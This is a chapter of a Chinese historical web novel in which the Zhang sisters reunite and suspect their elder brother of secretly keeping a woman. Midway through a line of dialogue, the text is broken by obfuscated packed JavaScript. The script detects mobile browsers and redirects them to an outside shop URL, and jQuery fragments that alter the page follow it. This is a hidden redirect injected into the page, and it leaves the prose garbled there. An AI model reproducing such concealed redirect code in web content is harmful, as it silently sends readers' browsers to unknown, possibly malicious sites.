到了黄昏，张惠云关照掌柜夜里关好门窗，特意早早的从肴楼回了家，却见到今天家里热闹，正以为是大哥回来了，走进饭厅，发现竟然是三妹妹回来了。


    “善娘，你回来了！”惠云一惊，接着喜笑颜开地快步走到桌边坐下：“你怎么不早点差人回来说一声啊，不然我好去接你。”


    “不用你接，二姐姐。大娘娘遣了宫里的内侍送我回来的，我安全得很。”张善云笑说：“我给你在东京买了好多东西，都放在你屋里了。”


    马秀姑嘲笑道：“善娘去了一趟东京，恨不得把半个东京给买回来，给每个人都买了一箱子东西。”


    张惠云拉起妹妹的手，拍了一记她的手背，“你不早说，早知道你回来，我就打包些菜式回来给你吃了。”


    张善云板起脸说：“二姐姐，我就去了一趟江宁和东京，回来你都开了酒楼了，真是措手不及呢，可得补偿我。”


    张惠云也笑了，“这样吧，给你一个特权，你来肴楼吃饭，姐姐不收你钱。”


    “那我的医馆今后中午的餐食就从肴楼订了，说好了啊，我吃的那份不收我钱。”张善云开心得很，又说“大哥哥没回来，真是可惜了，等他回家来我一定要再和他描述一遍，那皇宫真是太气派了。若不是我不会丹青，否则真该绘下来贴在墙上。”


    张升煦驳她：“皇宫到底有多气派，让你这样夸张。”


    张善云摇头晃脑说：“真的气派，堂哥，总之难以用语言描述。我跟着内官走在皇宫地甬道上，屋顶都是起伏的金色琉璃瓦，映在朝阳下，璀璨夺目，真的，太震撼了。”


    张升煦耸了耸肩，“说来说去就是这么几句。明天娇云的船一早就到，等她回来啊，你又要再说一遍这几句话。”


    王巧平笑着打断他：“好了好了，人都到齐了，坐下吃饭吧。”


    女使给张惠云送来水盆净手，她一边擦干一边向大嫂扯谎：“对了大嫂，我中午见到了大哥，他说最近很忙，抽不开身，要等空些了才能回家来。我已经叮嘱他了，让他小心身体，按时三餐不可荒废。”


    王巧平点了头，厨房开始送饭过来。今日的菜色里，仍旧有张升照喜爱的鱼圆、豆皮。


    吃罢晚饭，张善云和张惠云一同回自己的院子。入了院子，张惠云回头看了身后没别人，就只有自己和三妹妹的贴身女使了，然后才靠近善云一些，压低声音说：“善娘，最近大哥很古怪。”


    张善云问：“大哥怎么了？”


    “嘘，你小声一点。”惠云挽住她的手臂：“今天晚了，我得先去陪静姐儿睡了。明天你到肴楼来，我和你细说。”


    善云愣了一愣，然后点头道：“哦，好。明天堂姐也回来了，我早上去接了堂姐，然后中午过来吧？”


    “好，明天你到店里来吃饭。”


    两姐妹各自回了屋，问禅和紫藤一个给张善云拆头发珠钗，一个给她拿来了替换的衣服。


    善云拿了衣服，对问禅说：“我总觉得二姐姐说的话不像无端猜测。”


    问禅道：“姑娘可是想到什么？”


    “你去问袁大，我不在的这几个月，大哥哥用过他的车吗？若是用车，都去过哪里。”


    “是。”


    问禅出了门去，紫藤继续给她拆头饰，一边拆一边说：“姑娘莫急，大人忙得顾不了回家那是常有的事。”


    善云却摇了摇头。二姐姐向来在体察人事方面比她敏锐，二姐姐觉得哪里不对，基本上就板上钉钉没跑了。


    过了不多久，问禅回来了。


    善云按下紫藤的手，问：“怎么样？”


    问禅道：“姑娘，袁大说，大哥儿没有让他送过，但是提海来找他用过几次车，车子还回来时，车里留下的香味却是女子的熏香，而不是大人常用的熏香。”


    善云心头一惊：“袁大有没有告诉别人？”


    “没有，袁大怎么敢背后说大人的事，除了姑娘和周大人，谁问他也不会说的。”


    “事情查清之前，你们俩也不要和别人说，特别是不能告诉大嫂。知道吗？”


    两名女使齐声说是。


    ＊


    第二天，张善云到码头上接张娇云的船，也想再见一面周怀德，可是到了码头才知道，周怀德的船已经去东京了，二人还是没能见上。


    张娇云很欢快，完全没看出来自己堂妹的失落，听说惠云开了酒楼，一定不肯先回家，非得跟着一起。


    于是，袁大驾着马车，从码头驶到了肴楼。


    “哇，堂姐这酒楼真气派。”张娇云走进肴楼，四处环顾，边走边叹：“这么多客人，生意真好。外头还坐了一排人，是在等着外带的吗？”


    堂倌见到来了人，忙上前来笑脸迎客，热络地招呼她们：“二位娘子好，今日可有预约了雅座？”


    善云摇了摇头，“没有。”


    娇云问那堂倌：“还要预约的吗？我们第一次来，不知道规矩。还有空的包间吗？”


    堂倌客气地解释说：“实在对不住二位娘子，小店今日包间都满了，外头的大堂也坐满了，您二位要不等等，头一拨客人来得早，应该很快就吃完回了，马上能空出七八桌来。外头等的只有四桌，马上就能轮到二位娘子。”


    娇云一听，乐了：“堂姐这里生意真好。”


    善云想了想，拉住了娇云的衣袖，“那要不我们今天不吃了，和姐姐说几句话就走吧。”她对堂倌说：“麻烦你和张娘子说一声，就说三妹妹来找她。”


    堂倌反应过来：“原来您二位是东家的妹妹，东家关照过了，二楼临窗给您留着雅座呢，快请。”


    两人跟着堂倌上了二楼。


    二楼是半开放的雅间，邻桌以屏风相隔，屏风有绘制着山水的，有镶嵌着大理石的。二楼的桌椅也比一楼的材质好些，用的黄花梨木的。


    两人在桌边坐下，堂倌说去请掌柜来，就离开了。


    张善云看着窗外，阳光正好，楼下的一处树荫下停了许多达官贵人家的马车。叹道：“二姐姐这里看来有好多贵客来。”


    娇云应道：“堂姐开店好，我以后叫底下人来堂姐这里打包。”


    两人环顾周围，有独酌的书院学生，有对饮的文人打扮的中年男子，有点了一桌菜身边站着仆妇伺候的富贵家娘子。


    不一会儿，张惠云过来了，手里还端了两个凉菜。她在桌边坐下道：“娇云回来了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720042|141199||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊。”


    “嗯，堂姐，你这里真气派，生意真好。”


    张惠云刚放下凉菜，娇云就不客气，伸手捻起一粒花生米送进嘴里，“堂姐，你这花生米炸得也好，我喜欢。要是再来点果饮搭着吃就更好了。哎，早知道刚才买点杏仁汤拿来搭配吃了。”


    张惠云道：“我这儿也有，一会儿叫他们给你做一碗。”


    娇云抬起头来，喜不自胜，“好啊，多加点蜜糖，少点姜汁啊。”


    张善云问她姐姐：“二姐，你昨晚和我说的，关于大哥的事，你可是查到了什么？”


    惠云抿了抿唇，双手合十放在桌上，“大哥连续快有一个月没有回过家，可是我昨天中午去州衙问了，他们说大哥每日都回家的，休沐的日子也没有留在州衙。”


    善云微微凝眉，“所以你怀疑，大哥外面有人了？”


    “嗯。”惠云点了头。


    娇云放下花生米，惊问：“难道大哥想纳妾？”


    善云也拿了花生米吃，“我昨晚问了袁大，他说大哥让提海来用车，每次还车时，车里总有女子用的熏香味。”


    娇云肩膀一耸，倒是一副不在意的样子：“大哥如果真要纳妾，也不是什么事。连福广表哥都讨了一房妾室呢，何况大哥是八品的官员，纳个妾不是什么稀奇事。”


    张善云摇摇头，“也不是纳妾这事少见，而是大哥哥为什么偷偷瞒着？难道是大嫂不同意？”


    “大嫂应该不会吧，像她那样的性子，大哥一开口说纳妾，估计她还会问要不要帮忙张罗呢。”娇云拿起筷子夹了一块蓑衣黄瓜：“别自己大惊小怪的，指不定是咱们想多了。回头问问大嫂的意思，要是大嫂没意见，直接就让大哥把人带回家得了。”


    张惠云瞥她一眼，“也不要直接去问，万一大嫂不同意呢。委婉一点，就说你们回江宁见到姨母给福广纳了个妾室，问问大嫂怎么看。”


    善云也说：“我已经让俊疏去州衙和大哥哥说我们回来了，今晚大哥肯定回家吃饭，晚上堂姐你就问他。”


    娇云点了点自己：“我问？”


    张善云点头：“当然你问，到时候自然点，别露馅。”


    “行吧。”张娇云应下了。


    这时候堂倌传了菜来，唱戏似的唱菜道：“咸鲜鲫鱼羹，酥脆鱼饼，大油鸡鲊，初秋酱芥菜，火腿煨冬瓜，朱橘香饮子。”堂倌停顿下来堆起一个笑：“主菜是羊肉蒸饼。娘子们慢用。”


    “小金。”张惠云叫住他，“再去叫一壶杏仁汤来，多加蜜糖，少加姜汁。”


    “好嘞，东家。”名叫小金的堂倌麻溜地就往厨房去了。


    娇云拿起筷子就开始吃：“我在船上可就想吃点鲊物了，可惜船上没法起油锅，堂姐，你都不知道我有多想吃这鸡鲊。”她吃着，又抬起头来，“哎，善娘，你去东京我还没问你呢，吃的什么啊？有没有吃上皇宫里的掌膳女官做的席面？”


    善云拿起筷子，“当然没有，皇宫里的掌膳怎么可能给我做席面。我都是在驿站吃的。”


    “那可惜了，还想问你是皇宫里的掌膳做的好吃，还是堂姐做的好吃呢。”


    惠云噗嗤笑出来，“你想什么呢。”